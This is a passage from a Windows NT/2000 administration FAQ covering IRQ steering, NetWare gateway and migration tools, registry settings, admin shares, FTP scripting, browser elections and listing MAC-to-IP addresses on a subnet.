  2. Reprograms a free IRQ to a PCI IRQ, for example IRQ 11.
  3. Assigns an IRQ holder to IRQ 11.
  4. Moves the PCI device to IRQ 11.
  5. Reprograms IRQ 10 to be an ISA IRQ.
  6. Removes the IRQ holder for IRQ 10.

To disable IRQ Steering perform the following:

  1. Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the 'System Tools' branch
  3. Select 'Device Manager'
  4. In the right hand pane expand Computer and right click on 'Standard PC'
  5. Select Properties from the context menu
  6. Select the 'IRQ Steering' tab
  7. Uncheck the 'Use IRQ Steering' box
    IRQ Steering
  8. Click OK
  9. Reboot the machine

Once the machine has restarted you should be able to install your NT 4.0 PCI sound drivers (make sure you get the new drivers from the sound card makers website).

If you do not have a Standard PC, you must disable ACPI BIOS detection as follows:

  1. Modify the file txtsetup.sif in the Windows 2000 Setup folder.
  2. Change the line
    ACPIEnable=2
    to
    ACPIEnable=0
  3. Reinstall Windows 2000.

An alternative to the reinstall is to open the Device Manager (right click on My Computer, select Properties and select 'Device Manager'), open the Computer, double click on the system type shown (for example MPS PC), go to driver tab. Click on update driver. Choose display a list of drivers. Choose Show all hardware of this device class. Choose Standard PC.

Now you can change the IRQ steering option. Reboot and install the proper sound card driver.


Q. How can I check my machines DirectX support?

A. Windows 2000 includes a tool DXDIAG.EXE which can check DirectX compatibility on a machine including DirectSound, DirectDraw & DirectPlay..

Many screens have test buttons which test the various components of DirectX, for example testing DirectMusic plays various tunes to check you have the relevant required resources correctly configured (and its a cool tune) :-).


Q. What about Netware?

A. Netware connectivity is available!
NT-based systems can integrate with existing Netware servers. The IPX/SPX network protocol is supported on NT by using the NWLink IPX/SPX Compatible Transport. So, on top of this protocol, you need some tools to provide the integration.


Q. What are Client Services for Netware?

A. CSNW provides an NT workstation with basic file and printer connectivity to Netware. It supports both Bindery and NDS.


Q. What are Gateway Services for Netware?

A. GSNW is available only for NT servers. It includes the CSNW service to provide basic file and printer connectivity. In addition, GSNW allows an NT Server to act as a non-dedicated gateway. This means that your NT Server can connect to a Netware box and share the Netware drives as NT shares for all of your Microsoft network clients to access seamlessly (including those coming in via RAS).

While it works well, it's likely that it would be a bottleneck if you were going to link large networks using this single gateway!

The Netware server will need a special GROUP created called NTGATEWAY and a user account on Netware must be assigned to this group and to the gateway service on the NT Server.


Q. How do I install Gateway Services for Netware?

A. Perform the following:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network, or right click on Network Neighborhood and select properties)
  2. Click the services tab and click Add
  3. Select Gateway (and Client) Services for NetWare and click OK
  4. Enter the path of your NT CD-ROM and click OK. When the file copying has finished click Close.
  5. Create the NTGATEWAY group and a user that is a member of that group on the NetWare server using SYSCON on 3.12 servers, or NWADMIN/NETADMIN on 4.0 or later
  6. Restart the computer
  7. Enter the user account you created that is a member of the NTGATEWAY group when the machine restarts.


Q. How do I attach to a NetWare 3.12 Server?

A. Perform the following:

  1. Start the Gateway Services for NetWare control panel applet (Start - Settings - Control Panel - GSNW)
  2. Select Preferred Server
  3. From the drop sown list select the server, or if it is not shown enter the name of the server
  4. Click OK


Q. How do I attach to a NetWare 4.1 Server?

A. NetWare 4.1 connections is more complex than 3.12 connection as NetWare 4.1 has the complexity of NetWare Directory Services:

  1. Start the Gateway Services for NetWare control panel applet (Start - Settings - Control Panel - GSNW)
  2. Select the Default Tree and Context
  3. In the Tree Name enter the name of the NetWare 4.1 server and enter the context of the user account in the context input box
  4. Click OK


Q. What are File and Print Services for Netware?

A. CSNW and GSNW provide the ability to connect to Netware for file, printing and applications from your Microsoft network based clients.

FPNW does the reverse - it allows Netware clients to see the NT Server as if IT was a Netware box! FPNW allows you to appear as a Netware 3.12-compatible server.


Q. What is Directory Service Manager?

A. DSMN copies Netware user/group accounts to NT Server and will then propagate any changes BACK to the Netware box. This sharing of user/group information happens without you adding any software to the Netware side at all.

So, what does DSMN give you?

  1. Single network login and password synchronization
  2. Copy Netware accounts to a Domain (and any changes get propagated back)
  3. Ability to merge multiple Netware accounts into a single NT account


Q. What is Migration Tool for Netware?

A. This is a tool to allow you to migrate user and group accounts as well as login scripts, files and directories from Netware servers to a PDC or BDC.

  • Transfers accounts, including login and station restrictions
  • Transfers login scripts
  • Control how user/group names are moved
  • Set passwords on accounts as they get moved
  • Control which restrictions/rights are moved
  • Create an appropriate volume for Netware users
  • Choose the directories and files you want to move
  • Choose target destination for directories and files
  • Transfers EFFECTIVE rights on directories and files

This tool is located under the Administrative Tools program group and is called "Migration tool for NetWare". When run you have to select the NetWare server to convert and the NT service to convert the information into. Also you have to select a prefix for the NetWare users and groups, nw_, is the norm. Once the migration starts it may take a long time depending on the number of records.


Q. What are the NT equivalents of NetWare Rights?

A. The table below outlines the NetWare rights and the NT equivalents:

NetWare | Windows NT
Supervisor (S) | Full Control (All)
Read (R) | Read (RX)
Write (W) | Change (RWXD)
Erase (E) | Change (RWXD)
Modify (M) | Change (RWXD)
Create (C) | Add (WX)
File Scan (F) | List (RX)
Access Control (A) | Change Permissions (P)


Q. NWCONVE.EXE is not migrating your users and groups.

A. The Netware migration tool (nwconve.exe) does not support the NetWare Directory Services (NDS) service type of logon on Windows NT 4.0, and therefore you will need bindery emulation configured on the NetWare server for the migration to successfully migrate.

To configure bindery emulation perform the following on the NetWare Server

  1. Load Servman on the NetWare Server Console
  2. Select "Server Parameters" from the menu options
  3. Select "Directory Services" from the menu
  4. Scroll down to the "Bindery Emulation" section. If there is no SET statement to the right of the entry then bindery emulation has not been enabled.

To set it perform the following (still on the NetWare Server)

  1. Using Servman get back to "Bindery Emulation" (the same menus as above) and press ENTER
  2. A text entry box will appear where you should type in the command in the format of
    SET BINDERY CONTEXT = <OU>=USERS,<O>=TREE
    where <OU> is the Organisational Unit of the users are from and <O> is the name of the Organization (TREE) where the OU resides

You should then log off and back on to the NT Server. Rerunning NWCONVE.EXE should then run.


Q. I have very slow performance saving documents to a FPNW server.

A. File and Print services for NetWare allows an NT Server to be viewed by Novell clients. Problems can occur when trying to save a file to a FPNW volume, especially in Word.

The performance problem is caused by the save operation retrying every 3 seconds if a sharing violation is encounted caused by the optimization of both the Server service and the FPNW service.

To correct this problem perform the following

  1. Start the Registry Editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FPNW\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of LockRetryCounter and press Enter
  5. Double click on the new value and set to 0
  6. You should now stop and start the FPNW service using the Services Control Panel applet


Q. How can I disable the print separator page when printing to a NetWare print server?

A. If you are using the client services for NetWare, CSNW, then upon installation a new control panel applet would have been created which allows the configuration of all things NetWare.

  1. Start the CSNW control panel applet (Start - Settings - Control Panel - CSNW)
  2. Under "Print Options" uncheck the "Print Banner" option box and click OK

Banners will no longer be printed. You will also notice that options such as notifies and form feeds can also be configured.


Q. How can I stop my machine complaining about NWLNKRIP service not starting?

A. This service relies on NWLNKIPX and if this is not running the service cannot start. NWLNKRIP is installed if the machine is running NetWare protocol but if you don't want the service perform the following to stop it trying to start.

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NwlnkRip
  3. Double click on Start
  4. Change to 4 and click OK
  5. Close the registry editor
  6. Reboot the machine


Q. NetWare migration tool cannot find the domain controller.

A. When the NetWare migration tool (nwconv.exe) is run it tries to establish a connection to the domain controller, or specifically the ADMIN$ share. If it fails the error:

Cannot connect to server: <servername>
The Network name cannot be found

The Admin$ share can be disabled by setting AutoShareServer to 0 on the domain controller. To fix this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
  3. Double click on AutoShareServer and set to 1. Click OK
  4. Close the registry editor

You should now reboot however if that is not convenient just type

C:\> net share admin$

which will create the share now and thanks to the registry change it will also be created at reboot time.

If AutoShareServer was already 1 or did not exist the it may be just admin$ has been corrupted so again type the command

C:\> net share admin$

to recreate.


Q. How can I assign NetWare variables to NT variables?

A. If an NT Workstation computer is running the Client Service for NetWare (CSNW) or an NT Server is running the Gateway Services for NetWare (GSNW), the login variables used by NetWare can be assigned to relevant Windows NT environment variables.

These mappings are performed using the NetWare login scripts on the NetWare server and can be a personal, system or container login script. The basic syntax is

SET <NT variable name>="%<NetWare variable name>

For example

SET LOGIN_NAME="%LOGIN_NAME"
SET FULL_NAME="%FULL_NAME"
SET MAC_ADDRESS="%P_STATION"


Q. I get print banners and confirmations through CSNW even though they are deselected, what can I do?

A. After I installing SP5 on my NT4.0 you may start to get "print banner" and "notify when printed" even though you have deselected them in CSNW tool.

The solution to this is simply to replace nwprovau.dll in the system32 folder with the one from SP4.

1. The file may be in use by Windows. But just end Explorer.exe. Start Task Manager and start Cmd.exe. Rename the file. Click New Task run Explorer.exe to show the desktop again.

2.If you created an uninstall folder for SP5 and your uninstall folder contains Service Pack 4, locate the Nwprovau.dll file in the WinNT\$ntservicePackUninstall$ folder, and then copy the file to the WinNT\System32 folder.

3.If you did not create an uninstall folder for SP5, locate the Service Pack 4 CD-ROM and copy the Nwprovau.dll file from the I386 folder on the CD-ROM to the WinNT\System32 folder.


Q. How do I assign User Rights for a standalone server (not the PDC/BDC) in a domain?

A. In NT Workstation, User Manager/Policies/User Rights... assigns the privileges (e.g. the Shutdown or Log On Locally privilege) for the local machine. However, in NT Server the User Rights you assign with User Manager for Domains affect the Domain Controller(s). To modify privileges for the local machine, first choose Select Domain... from the User menu, and type in the name of the computer at the Domain prompt (you cannot browse the domain).


Q. I can't FTP to my server, although the FTP service is running?

A. Have you unchecked the "Allow only anonymous connections" option, but still receive a "530 User xyz cannot log in. Login failed." message? To log on to the FTP server with your domain account, it is not sufficient to specify your name at the User prompt. The FTP service checks local accounts only, even if the computer is participating in a domain. Use domainname\username instead, e.g. if the domain name was savilltech and the user was john, enter savilltech\john as the username.

I have heard of problems where the users have to have the log on locally right or the FTP logon may fail.


Q. How do I validate my NT Logon against a UNIX account?

A. There is software to do this available at

  • http://www.cis.ksu.edu/~mikhail/Passwd
  • http://www.arch.usyd.edu.au/~doug/gina.html
  • http://www.dcs.qmw.ac.uk/~williams


Q. Can I synchronize the time of a NT Workstation with a NT Server?

A. Yes, enter the command

NET TIME \\<name of the server to set time to> /SET /YES

Please note that users will require "Change System Time" user right, via User Manager\User rights. There is a utility on the resource kit called TimeServ which runs the time synchronization as a service and works even when there are no logged on users.

Also see Q. How do I configure a user so it can change the system time?


Q. How can I send a message to all users?

A. Ensure the "Messenger" service is started (Control Panel - Services - Messenger - Auto). To send a message type:
c:> net send <machine name> "<message>"
Or instead of a machine name type * to broadcast to all stations

There are also various GUI utilities, and one of the best is NT Hail at http://www.geocities.com/SiliconValley/Bay/1999/NT_Hail.html


Q. How do I change a Workstations Name?

A. Follow the steps below

  1. Logon to the NT server and in Server Manager add the new computer name (Computer - Add to Domain)
  2. On the Workstation from Control Panel double click Network (or right click on Network Neighborhood and select properties)
  3. Click Change and type the new computer name
  4. Press OK and accept reboot
  5. The machine should then reboot with the new name
  6. On the NT server you should now delete the OLD computer name (select and press DEL)


Q. How do I stop the default admin shares from being created?

A. This can be done through the registry.

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
  3. If you are using Workstation create a value (Edit - Add Value) called AutoShareWks (AutoShareServer for server) of type DWORD and press OK. It will ask for a value, type the number 0.
  4. Close the registry editor
  5. Reboot

This can also be done using the policy editor. Start the policy editor (poledit.exe), load the default computer profile, and expand the Windows NT Network tree, then Sharing and set "Create hidden drive shares" to blank for server/workstation.

There are a few other options though. The first is to use NTFS and set protections on the files so people may be able to connect to the share, but they will not be able to see anything. The second is to delete the shares each time you logon, this can be done through explorer, but it would be better to have a command file run each time with the lines
net share c$ /delete
and for all the other shares, however these shares are there for a reason so your machine can be administered by the servers, so if you delete them system managers may have something to say about it!


Q. How do I disconnect all network drives?

A. Use net use * /del /yes


Q. How do I hide a machine from Network Browsers?

A. Using the registry editor set the key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters and set value Hidden from 0 to 1 which should be of type DWORD. You should then reboot. You can also type

net config server /hidden:yes

The above command also automatically creates quite a lot of other values under \Parameters key, too.

You can still connect to the computer, but it is not displayed on the browser.


Q. How do I remote Boot NT?

A. NT does not support remote boot. It is possible to reboot a machine from another computer using the Shutdown Manager that comes with the NT resource kit.

You could also reboot by using the shutdown.exe resource kit utility and specify another machine name.

C:\>shutdown \\<machine name> /r /y /c

Software such as PC Anywhere can also remotely reboot machines.


Q. How can I get a list of users currently logged on?

A. Use the net sessions command, however this will only work if you are an Administrator. You can also use control panel and choose server.

The resource kit utility, Net Watch, can also show current logged on users that are connected to the Netlogon share if you connect to the domain controller, however these connects terminate after a finite amount of time so will not necessarily show all users.


Q. How do I configure NT to be a gateway to an ISP?

A. Firstly the hardware required would be a network and a modem. The network card would be so the other clients in the network can communicate with the "to be" gateway, and the modem to connect to the gateway. Dial-up networking is not covered here, and you should first be confident with dial-up networking before attempting this.

  1. Start the registry editor (regedit.exe) and add a value of type DWORD called DisableOtherSrcPackets in the HKey_Local_Machine\System\CurrentControlSet\Services\RasArp\Parameters area, and set to a value of 0. This is so packets that are sent through the NT gateway, the original IP address stored in each packet is retained, i.e. of machine a is sending a packet through b, then the packet retains the IP address of a, rather then be automatically changed to b. Also change HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter to a value of 1.
  2. On the gateway machine ensure TCP/IP is installed with a static IP address, and a correct subnet address (usually 255.0.0.0 for a class a, 255.255.0.0 for class b, and 255.255.255.0 for class c). Make sure the default gateway address is blank.
  3. Install Dial Up networking and configure for NT to dial out only. You will have to reboot
  4. Add a phonebook entry for your ISP as you would as normal, however uncheck the "Use default gateway".
  5. Enable the PC to be able to forward IP packets, by starting control panel, double click Network and choose the protocols tab. Select TCP/IP and then routing. Check the Enable IP Forwarding. You will need to reboot
  6. If when you connect to your ISP you are given an IP address, you will need to connect to your ISP, and then find out which IP address you are given. To get the address type
    IPCONFIG
    Look for a Wan adapter and write down the IP address. If you know your IP address before you connect you can forget this step.
  7. Add a route for the IP address used when connecting to the ISP (the one identified in step 6)
    route add 0.0.0.0 mask 0.0.0.0 <ip address> metric 2
  8. Configure all clients gateway as the network card IP address of the NT gateway.

This would enable the machines to send out IP packets to the internet, however the packets would have no way of finding there way back, as the ISP would not know to route them through the gateway, so you ISP will have to either a) have host entries for each of the machines or b) point to the gateway as another DNS.

Other things to check are as follows:

  • Make sure your ISP routes packets to you otherwise you will be able to send packets out but the replies will never be get to you
  • Make sure your local IP networks (each machine can ping each other) and that all PC's have a valid internet address. If you do not have internet addresses for each PC that have been assigned from InterNic then you will need something like Proxy Server instead.


Q. How do I install the FTP server service?

A. In prior version of NT, the FTP server service was installed as part of TCP/IP, however as of NT 4.0, it became part of IIS/PWS, so it needs to be installed manually. Before you install the FTP server, TCP/IP must be installed.

  1. In Control Panel, double-click Network.
  2. Click Services, click Add, and then click Microsoft Peer Web Services if you are using NT Workstation or click Microsoft Internet Information Server 2.0 if you are using NT Server.
  3. Click OK, and then type the path for the Windows NT source files. For example, if you are using the Windows NT CD-ROM in drive E, type the following line: E:\i386
  4. Click OK to start the Microsoft Peer Web Services Setup or Internet Information Server.
  5. The FTP Service is selected by default, but you should clear the check boxes for options you do not want to install.


Q. How do I get a list of all connections to my PC?

A. Use the command netstat -a


Q. How can I get the Ethernet address of my Network card?

A. Type ipconfig /all from a command box.


Q. How can I configure the preferred Master Browser?

A. On the NT server you want to be the preferred master browser change the registry setting HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\IsDomainMaster to True


Q. Is it possible to protect against Telnet attacks?

A. There was a recent well-known problem that a telnet client could connect to an NT machine on port 135, type 10 characters and it would hang NT. There is no simple way to protect NT from a certain port attack. It is possible to configure NT to only accept incoming packets from a set of configured ports, however you have to name the ports you want to accept input from:

  1. From Control Panel, Double click on Network
  2. Click the Protocols tab
  3. Select TCP/IP and click Properties
  4. Click Advanced (bottom right)
  5. Check the "Enable Security" and click configure
  6. For TCP select "Permit Only" and enable only the ports you want to work (e.g. Web Browser is 80, FTP 21)
  7. Exit
  8. Reboot NT

To protect against the port 135 attack, install the RPC hotfix for Service Pack 2.

Service Pack 3 and some its Hotfixes are also highly desirable, and address a number of Internet attack methods.


Q. What Telnet Servers/Daemons are available for Windows NT?

A. A Telnet Server on NT allows connection to an NT machine using a Telnet client from any hardware platform. Products are available from:

  • http://www.ataman.com
  • http://www.georgiasoftworks.com
  • http://www.hummingbird.com/realindex.html
  • http://www.pragmasys.com
  • http://www.seattlelab.com
  • There is a beta version of a Telnet Server on the resource kit, and an updated oemsetup.inf is available from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/nt40/telnetd/oemsetup.inf which fixes an installation problem.
  • Windows 2000 includes a built-in Telnet server (see 'How do I enable the telnet server in Windows 2000?')


Q. How do I install MSN under NT?

A. The new MSN 2.0 only runs under Windows 95, however a version for NT 4.0 is being developed. In the mean time it is possible to use MSN to connect to the Internet, however you cannot read Mail

  1. Phone Microsoft and request for a manual Internet PPP access to be setup.
  2. Assuming RAS is already installed, select Add New phonebook entry
  3. Type in a name for the phone book entry, e.g. "MSN connection"
  4. Clear the "I know about phone book entries" and click Next
  5. Check "I am calling the Internet" and click Next
  6. Click Finish
  7. Select your new "MSN" and click Edit from More
  8. Click the Server tab, and select TCP/IP, Enable PPP LCP, and clear NetBEUI and IPX
  9. Click the TCP/IP settings box and check "Server assigned IP addresses" and "Use default gateway"
  10. Click OK and exit back to the main dial screen
  11. Select MSN and click Dial
  12. When prompted for username/password enter
    Username : MSN/<user name>
    Password : <MSN password>
    Domain : <blank>


Q. What FireWall products are available for NT?

A. Below are a selection of FireWall systems for NT:

  • AccessMaster NetWall from http://www.bullsoft.com/netwall/index.htm
  • FireWall/Plus from http://www.network-1.com
  • Interware from http://www.consensys.com
  • KyberPASS from http://www.kyberpass.com
  • Open Sesame from http://www.csm-usa.com/sesame.htm
  • SessionWall from http://www.AbirNet.com
  • Firewall-1 from http://www.checkpoint.com
  • Firewall for NT from http://www.securecomputing.com
  • Guardian from http://www.ntguard.com
  • AltaVista FireWall from http://altavista.software.digital.com/firewall/index.htm
  • Microsoft Proxy Server 2.0 from http://www.microsoft.com/proxy/default.asp
  • Win Gate from http://www.wingate.com
  • Winroute from http://www.winroute.com


Q. How do I install the Remoteboot Service?

A. Before installing the Remoteboot service you must have both the NetBEUI and DLC protocols installed. The remoteboot service will only run on NT server.

  1. Start Control Panel (Start - Settings - Control Panel)
  2. Double click the Network icon
  3. Click on the services tab and click Add
  4. Select "Remoteboot Service"
  5. Check the path where Remoteboot will be installed (by default %systemroot%\RPL)
  6. Click OK and complete the installation
  7. After installation has completed start Remoteboot Manager
  8. Click "Fix Security" from the Configuration menu, which will create the RPLUSER local group and assign the permissions to the RPL directory.


Q. How many connections can NT have?

A. NT workstation can have up to 10 concurrent connections, with one exception, Peer Web Services which allows unlimited concurrent connections.


Q. How can I secure a server that will be a Web Server on the Internet?

A. Below are points to be aware of

  • Disable the creation of Admin shares (see How do I stop the default admin shares from being created?)
  • Use NTFS and remove Everyone access except for the directories that are part of the web documents, and for those directories only have Read access
  • It is possible to disable TCP ports on NT, and you could restrict the NT server to only accept packets on port 80 (web browser). This is discussed in "Is it possible to protect against Telnet attacks?"
  • If the server is part of your internal intranet use a firewall


Q. How can I stop a user logging on more than once?

A. There is no way in NT to stop a user logging on more than once, however it is possible to restrict a workstation so that only a certain user can login, and with this method each user would be tied to one workstation and thus could only logon once.

  1. Logon to the Workstation as the Domain Administrator
  2. Start User Manager (Start - Administrative Tools - User Manager)
  3. Double click the Users group and select the Domain\Everyone and click remove
  4. Next click add and select the specific domain user and click Add
  5. Close User Manager
  6. Logoff and only that specific user will be able to logon (be careful that Administrators still include Domain\Administrators or you will not be able to logon)

This solution is far from ideal, and it may be plausible to write a login script that checked if a user was currently logged on and if so, logoff straight away (using the logout command line tool).

Another method is to set the users logon share to one connection only and as part of the logon script open a file from the logon share which mean if they were already logged on a second logon would be unable to connect to the share and the logon would fail.


Q. How can I get information about my domain account?

A. From the command prompt type

net user <username> /domain

And all your user information will be displayed including last logon time, password change etc.


Q. A machine is shown as Inactive in Server manager when it is not.

A. Sometimes Server Manager fails to see a machine has become active, you can attempt to force it to see the machine by typing:
C:> net use \\<machine name>\IPC$

If this fails it may be the machine has been configured to be invisible to the network such as if hidden from Network Neighborhood as seen in 'Q. How do I hide a machine from Network Browsers? '.


Q. How do I automatically FTP using NT?

A. I use a basic script to update my main site and the mirrors using two batch files. The first consists of a few lines:

d:
cd \savilltechhomepage
ftp -i -s:d:\savmanagement\goftp.bat

The -i suppresses the prompt when performing a multiple put, and the -s defines an input file for the FTP like:

open ftp.savilltech.com - the name of the FTP server
johnny - username
secret - password
cd /www - remotely move to a base directory
lcd download - locally change directory
cd download - remotely move to a sub directory of the current directory
binary - set mode to binary
put faqcomp.zip - send a file
cd .. - move down a directory remotely
lcd .. - move down a directory locally
cd ntfaq
lcd ntfaq
mput *.html - send multiple files (this is why we needed -i)
close - close the connection


Q. How can I change the time period used for displaying the password expiration message?

A. Follow Instructions below:

  1. Start the Registry editor (regedit.exe)
  2. Goto the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit Menu, click New - DWord
  4. Type the name PasswordExpiryWarning and press enter
  5. Double click on the new value you have created and set to the number of days prior to the expiration you want the message to appear.


Q. How can I modify share permissions from the command line?

A. The Windows NT resource kit ships with a utility called RMTSHARE.EXE that is used to modify permissions on shares, the syntax to grant access to a share is as follows

rmtshare \\<server name>\<share> /grant <username>:<permission>, e.g.
rmtshare \\bugsbunny\movies /grant savillj:f

Valid permissions are f for full, r for read, c for change and n for none. To revoke access to a share type

rmtshare \\<server name>\<share> /grant <username>, e.g.
rmtshare \\bugsbunny\movies /grant savillj

This would remove savillj's access to the share. To view share permissions enter:

rmtshare \\<server name>\<share> /users, e.g.
rmtshare \\bugsbunny\movies /grant

RMTSHARE.EXE also allows the creation and deletion of shares. Type rmtshare /? for help.


Q. How can I change the protocol binding order?

A. Network bindings are links that enable communication between the network adapter(s), protocols and services. If you have multiple protocols installed on a machine you can configure NT to try a certain protocol first for communication:

  1. Log on to the machine as a member of the Administrators group
  2. Start the Network control panel applet (Start - settings - control panel - network, or right click Network Neighborhood and select properties)
  3. Click the bindings tab
  4. Select "all services" from the drop down list of bindings
  5. Select the service you wish to change the binding order for by clicking its plus sign (usually you should change the workstation service as this is used for connecting to resources etc.)
  6. A list of all the protocols installed will be shown, and can be ordered by selecting the protocol and clicking "move up" or "move down".
  7. Click OK when finished, and you will have to reboot for the changes to take effect.


Q. What criteria are used to decide which machine will be the Master Browser?

A. There are 5 roles a machine can have

  • Master Browser - This machine maintains the list of resources on the network and listens for announcements from other machines to add to the browse list.
  • Preferred Master Browser - A machine can be designated as the preferred master browser and when this machine starts it will force a browser election and will win unless one of the other machines is the PDC or also has the preferred master browser flag set.
  • Backup Browser - This type receives a copy of the browse list from the master browser, if it cannot find the Master Browser it will force an election.
  • Potential Browser - This does not receive a copy of the browse list, but can be promoted to a backup browser by the master browser, or actually become the master browser as the result of an election.
  • Non-Browser - A non-browser does not maintain a browse list.

When an election takes place, a number or criteria are used. Firstly the browser type

  • Preferred master
  • Master
  • Backup browser
  • Potential browser

If two machines have the same role then the operating system is used

  • Windows NT Server that is the PDC
  • Windows NT Server that is a BDC
  • Windows NT Server
  • Windows NT Workstation
  • Windows 95
  • Windows for Workgroups

If there is still a tie, the Windows NT version is used

  • 4.0
  • 3.51
  • 3.5
  • 3.1

To set a machine as a certain type of browser perform the following

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters
  3. Double click on MaintainServerList
  4. Set to
    No - for the computer to be a non-browser
    Yes - the computer will be a master or backup browser
    Auto - will be a master, backup or potential depending on the number of browser currently in action
  5. Click OK
  6. Close the registry editor and reboot


Q. How can I get a list of MAC to IP addresses on the network?

A. An easy way to get a list of MAC to IP addresses on the local subnet is to ping every host on the subnet and then check you ARP cache, however pinging every individual node would take ages and the entries only stay in the ARP cache for 2 minutes. An alternative is to ping the broadcast mask of your subnet which will ping every host on the local subnet (you can't ping the entire network as you only communicate directly with nodes on the same subnet, all other requests are via the gateway so you would just get a ARP entry for the gateway).

What is the broadcast mask? The broadcast mask is easy to calculate if the subnet mask is in the format 255.255.255.0 or 255.255.0.0 etc. (multiples of 8 bits). For example if the IP address was 134.189.23.42 and the subnet mask was 255.255.0.0 the broadcast mask would be 134.189.255.255, where 255 is in the subnet mask the number from the IP address is copied over, where 0 it is replaced with 255, basically the network id part is kept. If the subnet mask is not the basic 255.255 format, you should use the following, all you need is the IP address and the subnet mask

  1. For each bit set to 1 in the subnet mask, copy the corresponding but from the IP address to the broadcast mask
  2. For each bit set to 0 in the subnet mask, copy a 1 into the corresponding bit of the broadcast mask

for example, IP address 158.234.24.98 and subnet mask 255.255.248.0

Network |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Host
1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 |  | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0
1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |  | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0
1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 |  | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1
Byte 1 |  |  |  |  |  |  |  | Byte 2 |  |  |  |  |  |  |  | Byte 3 |  |  |  |  |  |  |  |  | Byte 4

The first row is the subnet mask 255.255.248.0, the second row the IP address 158.234.24.98 and the third row is the broadcast mask, 158.234.31.255.

To get the MAC to IP addresses, you would therefore perform the following

ping <broadcast mask>
arp -a

Voila, a list of IP addresses and their MAC address (you can add > filename to get the list to a file, e.g. arp -a > iptomac.lst). You could repeat this exercise on the various subnets of your organization.

Unfortunatly due to limitations in NT's implementation of PING the above will not work correctly so put the following into a file

REM arpping.bat
ping -n 1 -l 1 %1.%2
arp -a %1.%2

You can then call the batch file as follows:

C:\> for /l %i in (1,1,254) do arpping 160.82.220 %i

In this case it would generate a list of all MAC to IP addresses for 160.82.220.1 to 160.82.220.254. Again you could put this all in a file, redirect to a file and then search, e.g.

REM test.bat
for /l %%i in (1,1,254) do arpping.bat 160.82.220 %%i

Notice you have to use two %%. You could run as

C:\> test.bat > file.txt

Then search listing.txt for (example) dynamic

C:\> findstr dynamic file.txt
160.82.220.1 00-00-0c-60-8b-41 dynamic
160.82.220.9 00-60-97-4b-bf-4c dynamic
160.82.220.13 00-10-4b-49-94-e1 dynamic
160.82.220.17 00-80-5f-d8-a4-8b dynamic
160.82.220.22 00-a0-d1-02-a4-cf dynamic
160.82.220.25 00-60-08-75-0d-7a dynamic
160.82.220.26 00-10-4b-44-e4-73 dynamic
160.82.220.33 00-10-4b-44-d6-33 dynamic
160.82.220.34 00-10-4b-4e-67-6a dynamic
160.82.220.35 00-60-97-4b-c4-53 dynamic
160.82.220.39 00-10-4b-44-eb-ae dynamic
160.82.220.41 00-10-4b-49-7b-f7 dynamic
160.82.220.42 00-00-f8-21-7a-7f dynamic
160.82.220.43 08-00-20-88-82-57 dynamic
160.82.220.221 00-80-5f-88-d0-55 dynamic

You can consolidate the last couple of steps so you just create arpping.bat as before then just issue command:

C:\>for /l %i in (1,1,254) do arpping.bat 10.129.210 %i |findstr dynamic

C:\>arpping.bat 10.129.210 1 | findstr dynamic
10.129.210.1 00-08-c7-d3-24-f5 dynamic

C:\>arpping.bat 10.129.210 2 | findstr dynamic
10.129.210.2 00-08-c7-df-81-60 dynamic

C:\>arpping.bat 10.129.210 3 | findstr dynamic
10.129.210.3 00-80-5f-9b-ea-93 dynamic

C:\>arpping.bat 10.129.210 4 | findstr dynamic
10.129.210.4 00-80-5f-9b-36-ea dynamic

C:\>arpping.bat 10.129.210 5 | findstr dynamic
10.129.210.5 00-04-ac-37-78-92 dynamic

C:\>arpping.bat 10.129.210 6 | findstr dynamic

Notice we only use one % as we are not in a batch file and it automatically only lists found entires or you can use a combination of the different methods to match your exact needs.


Q. How can I control the list of connections shown when mapping a network drive?

A. When you map a network drive (Explorer - Tools - Map network drive), if you click the down arrow on the path, a list of previous connections will be shown. These are stored on the registry and can be edited

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections
  3. You will notice in the left pane is a number of string values called a,b,c etc. For the connections you do not want shown, click on the entry and then either press the Del key and say yes to the confirmation or select delete from the edit menu.
  4. Once you have deleted entries you need to update which ones explorer will show by double clicking on order and remove the letters of the entries you deleted
  5. Click OK
  6. Close the registry editor


Q. How do I grant users access to a network printer?

A. The same way as files have security information, so do printers, and you need to set which users can perform actions on each network printer

  1. Logon as an Administrator
  2. Double click "My Computer" and then select printers
  3. Right click on the printer whose permissions you wish to change and select properties
  4. Click the security tag and select permissions
  5. You can now add users/groups and grant them the appropriate privilege
  6. Click OK when finished


Q. How can I create a share on another machine over the network?

